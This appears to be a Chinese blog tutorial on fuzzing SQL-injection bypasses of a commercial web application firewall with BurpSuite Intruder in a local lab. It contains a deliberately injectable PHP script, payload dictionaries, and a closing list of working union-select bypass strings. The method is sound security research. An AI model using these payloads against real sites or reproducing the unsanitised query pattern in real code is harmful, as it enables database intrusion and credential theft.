Fuzzing---Sql injection bypass with BurpSuite

Web安全 原创 bypass sql注入 fuzz

前言

  • 纵观全网进行各种bypass的很少涉及具体测试过程,大多是直接放出payload。那么很快防护软件就会进行更新策略,有效的payload存活时间很短。
  • 最近也发现一些很nice的作者,会放出fuzz的脚本,这样就是“授之以渔”了,我们应该感谢作者的分享精神。
  • burpsuite是一款神器,很多操作都可以借助它来完成,也是我们做安全研究必备的一款工具。fuzz说白了就是不断地提交、不断地测试,看返回结果来判断payload是否有效,那么我们可以结合burpsuite的intruder模块来进行fuzz,同样可以达到很好的效果。

Fuzzing环境

  • 善于思考的脑子

20166261274990173.jpg

  • phpStudy2017
    image.png
  • 二狗子v4.0
    image.png
  • BurpSuite

Fuzzing过程

先准备一个测试sql注入的脚本

<title>Fuzzing 2dog</title>>
<?php
$link = mysql_connect('localhost', 'root', 'root'); mysql_select_db('security', $link);
 
$sql = 'select * from `users` where `id`='.$_REQUEST['id']; 
echo "执行的SQL语句<br />\n";
echo $sql."<br>\n";
$result =mysql_query($sql);

while($array = mysql_fetch_assoc($result))
    { 
        echo "<br />\n";
        echo "Bypass 2dog success!";
        echo "<br />\n";
        echo "id=".$array['id']."<br />\n";
        echo "username=".$array['username']."<br />\n"; 
        echo "password=".$array['password']."<br />\n";
    }
echo mysql_error();
?>

再来份数据库security

DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(3) NOT NULL AUTO_INCREMENT,
  `username` varchar(20) NOT NULL,
  `password` varchar(20) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=gbk;

# Data for table "users"

INSERT INTO `users` VALUES (1,'Dumb','Dumb'),(2,'Angelina','I-kill-you'),(3,'Dummy','[email protected]'),(4,'secure','crappy'),(5,'stupid','stupidity'),(6,'superman','genious'),(7,'batman','mob!le'),(8,'admin','admin'),(9,'admin1','admin1'),(10,'admin2','admin2'),(11,'admin3','admin3'),(12,'dhakkan','dumbo'),(14,'admin4','admin4');

环境配置好后,访问
1.png
现在测一下二狗子能否正常运作(拦截攻击)
2.png
嗯,很完美的拦截了。现在可以放心的进行fuzz了...
先开代理,burpsuite抓包,进入intruder模块

GET /sqli-labs/Less-1/?id=1/*!union/*/*§a§§b§select*/1,2,3 HTTP/1.1
Host: 192.168.8.14
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: yunsuo_session_verify=0d351ecd28be2363b55de180b78b8dc8; safedog-flow-item=

根据观察以往多种bypass的payload,我们这里测试可以更方便的设置fuzz对象
/*!union/*/*<fuzz_1><fuzz_2>select*/1,2,3
现在准备两份payload字典:

  1. 注释
/*
/*/*
*/
/**/
/*/**/
/*!
/*!*/
/*!/*!*/
/*?
/*^
  1. 特殊字符
~
!
?
%
%00
%23
%0a
%0b
%0c
%0d
%0e
%0f
%0g
%0h
%0i
%0j
%0k
%0l
%0m
%0n
%0o
%0p
%0q
%0r
%0s
%0t
%0u
%0v
%0w
%0x
%0y
%0z

Attack type设为Cluster Bomb
3.png
进入Options设置response包匹配关键字Bypass
4.png
go起来,看看fuzz结果如何
5.png
fuzz的成果显著,但执行敏感函数还是会被二狗子拦截(必须的)
6.png
那就继续fuzz呗,动手吧骚年!
7.png

结语

放出一部分payload给伸手党吧,希望你们能掌握这种方便的fuzz方法,将burpsuite神技发扬光大。

Bypass    `id`=1
true    /*!union/*/*%0i*/select*/1,2,3
true    /*!union/*/*%0j*/select*/1,2,3
true    /*!union/*/*%0m*/select*/1,2,3
true    /*!union/*/*%0x^*/select*/1,2,3
true    /*!union/*/*%0z^*/select*/1,2,3
true    /*!union/*/*%0y^*/select*/1,2,3

另外:

  • 关于块注释/*和内联注释/*!
    /*/**/这样是等效于/**/的,mysql中/*!/*!*/是等效于/*!*/的
  • 关于内联注释/*!50100*/
    特别注意50100表示mysql的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/到/*!50100*/都可以作为payload
  • 关于fuzz的point
    多尝试,多看看以往的bypass payload,就能从中找到一些规律,提高fuzz效率

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空